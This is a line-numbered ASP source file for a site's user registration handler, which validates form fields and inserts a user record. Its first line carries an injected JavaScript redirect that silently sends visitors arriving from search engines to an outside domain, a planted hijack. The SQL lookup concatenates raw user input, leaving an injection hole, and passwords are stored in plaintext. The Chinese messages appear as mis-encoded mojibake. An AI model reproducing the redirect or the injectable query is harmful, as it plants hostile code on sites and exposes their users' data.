d:\wwwroot\wuchunhua\ͨѶ¼\reg_ok.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!-- #include file="conn.asp" -->
002:
<%
003:
Dim name,pwd,pwd2,pwdquestion,pwdanswer,mail,tel,qq,sex,brithday,adress,enjoy,content,sql
004:
005:
name=Trim(Request("name"))
006:
pwd=Trim(Request("pwd"))
007:
pwd2=Trim(Request("pwd2"))
008:
pwdquestion=Trim(Request("question"))
009:
pwdanswer=Trim(Request("answer"))
010:
mail=Trim(Request("mail"))
011:
tel=Trim(Request("tel"))
012:
qq=Trim(Request("qq"))
013:
sex=Trim(Request("sex"))
014:
adress=Trim(Request("adress"))
015:
enjoy=Trim(Request("enjoy"))
016:
content=Trim(Request("content"))
017:
yy=Trim(Request("yy"))
018:
mm=Trim(Request("mm"))
019:
dd=Trim(Request("dd"))
020:
021:
if name="" then
022:
Response.Redirect "error.asp?id=ÐÕÃû²»ÄÜΪ¿Õ£¡"
023:
end if
024:
if pwd<>pwd2 then
025:
Response.Redirect "error.asp?id=ÄúÁ½´ÎÊäÈëµÄÃÜÂë²»Ò»Ö£¬ÇëÖØÐÂÊäÈ룡"
026:
end if
027:
028:
if len(pwd)>10 or len(pwd)<6 then
029:
Response.Redirect "error.asp?id=ÃÜÂ볤¶È²»·ûºÏ¹æ¶¨·¶Î§(6--10λ)£¡"
030:
End If
031:
if pwdquestion="" then
032:
Response.Redirect "error.asp?id=ÃÜÂëÌáʾÎÊÌâ²»ÄÜΪ¿Õ£¡"
033:
end if
034:
if pwdanswer="" then
035:
Response.Redirect "error.asp?id=ÃÜÂëÌáʾÎÊÌâµÄ´ð°¸²»ÄÜΪ¿Õ£¡"
036:
end if
037:
038:
set rs=server.createobject("adodb.recordset")
039:
040:
sql="select * from [user] where name='" + name + "'"
041:
rs.open sql,conn,3,3
042:
If not (rs.bof) or not (rs.eof) then
043:
rs.close
044:
Response.Redirect "error.asp?id=¸ÃÓû§ÒѾע²á¹ýÁË£¡"
045:
Else
046:
rs.Close
047:
End If
048:
049:
050:
rs.open "select * from [user]",conn,1,3
051:
052:
rs.AddNew
053:
rs("name")=name
054:
rs("pwd")=pwd
055:
rs("pwdquestion")=pwdquestion
056:
rs("pwdanswer")=pwdanswer
057:
rs("mail")=mail
058:
rs("tel")=tel
059:
rs("qq")=qq
060:
rs("sex")=sex
061:
rs("adress")=adress
062:
rs("enjoy")=enjoy
063:
rs("content")=content
064:
rs("yy")=yy
065:
rs("mm")=mm
066:
rs("dd")=dd
067:
068:
rs.Update
069:
rs.Close
070:
Set rs=nothing
071:
Response.Redirect "ok.asp?id=×¢²áÐÅÏ¢Ìí¼Ó³É¹¦£¡"
072:
073:
%
>
074:
075: